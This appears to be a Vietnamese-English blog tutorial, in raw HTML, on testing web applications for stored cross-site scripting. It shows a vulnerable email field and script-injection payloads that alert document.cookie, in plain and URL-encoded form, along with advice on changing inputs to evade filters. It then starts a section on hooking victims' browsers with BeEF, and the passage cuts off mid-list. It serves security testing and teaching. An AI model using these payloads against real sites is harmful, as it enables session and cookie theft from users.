paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{162}" paraid="1392069845" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; margin-left: 24px; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun Highlight SCX49007267" lang="EN-US" style="color: #252525; font-family: "arial" , sans-serif; font-size: 10.5pt; font-weight: bold; line-height: 18px; margin: 0px; outline: transparent solid 1px; padding: 0px;" xml:lang="EN-US"><span class="NormalTextRun SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: inherit; margin: 0px; padding: 0px;">Analyze HTML code</span></span><span class="TextRun Highlight SCX49007267" lang="EN-US" style="color: #252525; font-family: "arial" , sans-serif; font-size: 10.5pt; font-weight: bold; line-height: 18px; margin: 0px; outline: transparent solid 1px; padding: 0px;" xml:lang="EN-US"><span class="NormalTextRun SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: inherit; margin: 0px; padding: 0px;">(phân tích code)</span></span><span class="EOP SCX49007267" style="font-family: "arial" , sans-serif; font-size: 10.5pt; line-height: 18px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{166}" paraid="1807123848" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; margin-left: 24px; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun Highlight SCX49007267" lang="EN-US" style="color: #252525; font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; outline: transparent solid 1px; padding: 0px;" xml:lang="EN-US"><span class="NormalTextRun SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: inherit; margin: 0px; padding: 0px;">Các</span></span><span class="TextRun Highlight SCX49007267" lang="EN-US" style="color: #252525; font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; outline: transparent solid 1px; padding: 0px;" xml:lang="EN-US"><span class="NormalTextRun SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: inherit; margin: 0px; padding: 0px;"> đầu vào được lưu trữ bởi ứng dụng thường sử dụng các tag HTML, nhưng nó cũng có thể ở trong đoạn mã JavaScript. </span></span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span><br /> <span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"><span class="TextRun Highlight SCX49007267" lang="EN-US" style="color: #252525; font-family: "times new roman" , serif; font-size: 11pt; margin: 0px; outline: transparent solid 1px; padding: 0px;" xml:lang="EN-US"><span class="NormalTextRun SCX49007267" style="background-color: inherit; margin: 0px; padding: 0px;">Ex: lưu trữ dữ liệu về email  trong  index2.php</span></span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; margin: 0px; padding: 0px;"> </span></span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{169}" paraid="724986481" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; margin-left: 24px; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUXepiF30l-kykdyoB30fBLO4vrvQ1QB9xqFZrEc3Z9LKI3ThKv-yMW_6HlcfekHSmtBv5y3FnY2ADxu68vxYRxBOlpU6rDW8L0cD4fGrAfirnYWepqo5hvMTmi4M0X9Imoyb5o1rr5rM/s1600/1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="155" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUXepiF30l-kykdyoB30fBLO4vrvQ1QB9xqFZrEc3Z9LKI3ThKv-yMW_6HlcfekHSmtBv5y3FnY2ADxu68vxYRxBOlpU6rDW8L0cD4fGrAfirnYWepqo5hvMTmi4M0X9Imoyb5o1rr5rM/s400/1.jpg" width="400" /></a></div> <span class="TextRun SCX49007267" lang="EN-US" style="background-color: transparent; font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">Code của index2.php như sau:</span><span class="EOP SCX49007267" style="background-color: transparent; font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{178}" paraid="1338448890" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: #f9f9f9; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;" xml:lang="EN-US"><input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com" /></span><span class="EOP SCX49007267" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{180}" paraid="77846476" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; margin-left: 24px; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <br /></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{183}" paraid="1463713079" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; margin-left: 24px; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">Trong trường hợp này, ta sẽ cố gắng inject code vào sau thẻ input:</span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{186}" paraid="1516781216" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: #f9f9f9; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;" xml:lang="EN-US"><input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com"> MALICIOUS CODE <!-- /></span><span class="EOP SCX49007267" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{188}" paraid="754765077" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; margin-left: 24px; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <br /></div> </div> </div> <div class="SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: white; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 8px; margin: 0px; padding: 0px;"> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{192}" paraid="197409141" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; margin-left: 24px; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun Highlight SCX49007267" lang="EN-US" style="color: #252525; font-family: "arial" , sans-serif; font-size: 10.5pt; font-weight: bold; line-height: 18px; margin: 0px; outline: transparent solid 1px; padding: 0px;" xml:lang="EN-US"><span class="NormalTextRun SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: inherit; margin: 0px; padding: 0px;">Testing for Stored XSS</span></span><span class="TextRun Highlight SCX49007267" lang="EN-US" style="color: #252525; font-family: "arial" , sans-serif; font-size: 10.5pt; font-weight: bold; line-height: 18px; margin: 0px; outline: transparent solid 1px; padding: 0px;" xml:lang="EN-US"><span class="NormalTextRun SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: inherit; margin: 0px; padding: 0px;">:</span></span><span class="EOP SCX49007267" style="font-family: "arial" , sans-serif; font-size: 10.5pt; line-height: 18px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{195}" paraid="1782970425" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; margin-left: 24px; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">Kiểm tra bao gồm kiểm tra giá trị đầu vào và lọc của ứng dụng. tấn công thông thường:</span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{198}" paraid="491121216" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: #f9f9f9; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;" xml:lang="EN-US">aaa@aa.com"><script>alert(document.cookie)</script></span><span class="EOP SCX49007267" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{201}" paraid="913759925" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: #f9f9f9; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;" xml:lang="EN-US">aaa@aa.com%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E</span><span class="EOP SCX49007267" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{203}" paraid="1688006131" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; margin-left: 24px; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <br /></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{207}" paraid="562651352" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; margin-left: 24px; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">đảm bảo đầu vào được </span><span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">submitted lên cho ứng dụng. </span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://www.blogger.com/blogger.g?blogID=5066688892003597818" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"></a></div> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{211}" paraid="1091705907" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; margin-left: 24px; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun Highlight SCX49007267" lang="EN-US" style="color: #252525; font-family: "arial" , sans-serif; font-size: 10.5pt; font-weight: bold; line-height: 18px; margin: 0px; outline: transparent solid 1px; padding: 0px;" xml:lang="EN-US"><span class="NormalTextRun SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: inherit; margin: 0px; padding: 0px;">Result Expected</span></span><span class="TextRun Highlight SCX49007267" lang="EN-US" style="color: #252525; font-family: "arial" , sans-serif; font-size: 10.5pt; line-height: 18px; margin: 0px; outline: transparent solid 1px; padding: 0px;" xml:lang="EN-US"><span class="NormalTextRun SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: inherit; margin: 0px; padding: 0px;">:</span></span><span class="EOP SCX49007267" style="font-family: "arial" , sans-serif; font-size: 10.5pt; line-height: 18px; margin: 0px; padding: 0px;"> </span><br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhD5jaL9ZMgkOwoLphxaAOahhyphenhyphenHyV0h28a8FEOLqeOO1bAACfGWcfd8iWPfdwZ15YD-G7P19fymvEEhWohYeHvLLoaC7cpSjNGFnccJ8esJ-SliVZPHz7qk1aoGlQFJtIAYtwXU10c-tK8/s1600/2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="162" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhD5jaL9ZMgkOwoLphxaAOahhyphenhyphenHyV0h28a8FEOLqeOO1bAACfGWcfd8iWPfdwZ15YD-G7P19fymvEEhWohYeHvLLoaC7cpSjNGFnccJ8esJ-SliVZPHz7qk1aoGlQFJtIAYtwXU10c-tK8/s640/2.jpg" width="640" /></a></div> <span class="EOP SCX49007267" style="font-family: "arial" , sans-serif; font-size: 10.5pt; line-height: 18px; margin: 0px; padding: 0px;"><br /></span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{214}" paraid="736806783" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; margin-left: 24px; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <br /></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{217}" paraid="925006080" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="color: #252525; font-family: "arial" , sans-serif; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;" xml:lang="EN-US">The HTML code following the injection:</span><span class="EOP SCX49007267" style="font-family: "arial" , sans-serif; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{220}" paraid="772632764" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: #f9f9f9; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;" xml:lang="EN-US"><input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com"><script>alert(document.cookie)</script></span><span class="EOP SCX49007267" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{222}" paraid="1392298164" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; margin-left: 24px; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <br /></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{225}" paraid="1269085029" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; margin-left: 24px; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">Đầu vào được lưu trữ và thực hiện khi browser load lại trang. Nếu các đoạn mã không vượt qua bộ lọc thì ta cần thay đổi các giá trịn đầu vào để vượt qua các bộ lọc.</span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{228}" paraid="115122241" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; margin-left: 24px; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun Highlight SCX49007267" lang="EN-US" style="color: #252525; font-family: "times new roman" , serif; font-size: 12pt; font-weight: bold; line-height: 20px; margin: 0px; outline: transparent solid 1px; padding: 0px;" xml:lang="EN-US"><span class="NormalTextRun SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: inherit; margin: 0px; padding: 0px;">Leverage Stored XSS with BeEF</span></span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 12pt; line-height: 20px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{234}" paraid="2097604368" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; margin-left: 24px; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun Highlight SCX49007267" lang="EN-US" style="color: #252525; font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; outline: transparent solid 1px; padding: 0px;" xml:lang="EN-US"><span class="NormalTextRun SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: inherit; margin: 0px; padding: 0px;">Stored XSS</span></span><span class="TextRun Highlight SCX49007267" lang="EN-US" style="color: #252525; font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; outline: transparent solid 1px; padding: 0px;" xml:lang="EN-US"><span class="NormalTextRun SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: inherit; margin: 0px; padding: 0px;"> có thể khai thác bởi các công cụ khai thác tiến tiế</span></span><span class="TextRun Highlight SCX49007267" lang="EN-US" style="color: #252525; font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; outline: transparent solid 1px; padding: 0px;" xml:lang="EN-US"><span class="NormalTextRun SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: inherit; margin: 0px; padding: 0px;">n hơn: BeE</span></span><span class="TextRun Highlight SCX49007267" lang="EN-US" style="color: #252525; font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; outline: transparent solid 1px; padding: 0px;" xml:lang="EN-US"><span class="NormalTextRun SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: inherit; margin: 0px; padding: 0px;">F, XSS Proxy và Backframe.</span></span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{239}" paraid="1723370997" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; margin-left: 24px; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun Highlight SCX49007267" lang="EN-US" style="color: #252525; font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; outline: transparent solid 1px; padding: 0px;" xml:lang="EN-US"><span class="NormalTextRun SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: inherit; margin: 0px; padding: 0px;">Một kịch bản khai thác sử dụ</span></span><span class="TextRun Highlight SCX49007267" lang="EN-US" style="color: #252525; font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; outline: transparent solid 1px; padding: 0px;" xml:lang="EN-US"><span class="NormalTextRun SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: inherit; margin: 0px; padding: 0px;">ng BeE</span></span><span class="TextRun Highlight SCX49007267" lang="EN-US" style="color: #252525; font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; outline: transparent solid 1px; padding: 0px;" xml:lang="EN-US"><span class="NormalTextRun SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: inherit; margin: 0px; padding: 0px;">F:</span></span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </div> <ul class="BulletListStyle1 SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; cursor: text; font-family: verdana; margin: 0px; overflow: visible; padding: 0px;"> <li class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; color: #252525; cursor: text; direction: ltr; font-family: "Arial,Times New Roman", sans-serif; font-size: 10.5pt; margin: 0px 0px 0px 25px; overflow: visible; padding: 0px; position: relative; vertical-align: baseline;"><div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{243}" paraid="1768360848" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; color: windowtext; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="color: #252525; font-family: "arial" , sans-serif; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;" xml:lang="EN-US">Injecting a JavaScript hook which communicates to the attacker's browser exploitation framework (BeEF)</span><span class="EOP SCX49007267" style="font-family: "arial" , sans-serif; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;"> </span></div> </li> <li class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; color: #252525; cursor: text; direction: ltr; font-family: "Arial,Times New Roman", sans-serif; font-size: 10.5pt; margin: 0px 0px 0px 25px; overflow: visible; padding: 0px; position: relative; vertical-align: baseline;"><div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{247}" paraid="936282256" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; color: windowtext; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="color: #252525; font-family: "arial" , sans-serif; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;" xml:lang="EN-US">Waiting for the application user to view the vulnerable page where the stored input is displayed</span><span class="EOP SCX49007267" style="font-family: "arial" , sans-serif; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 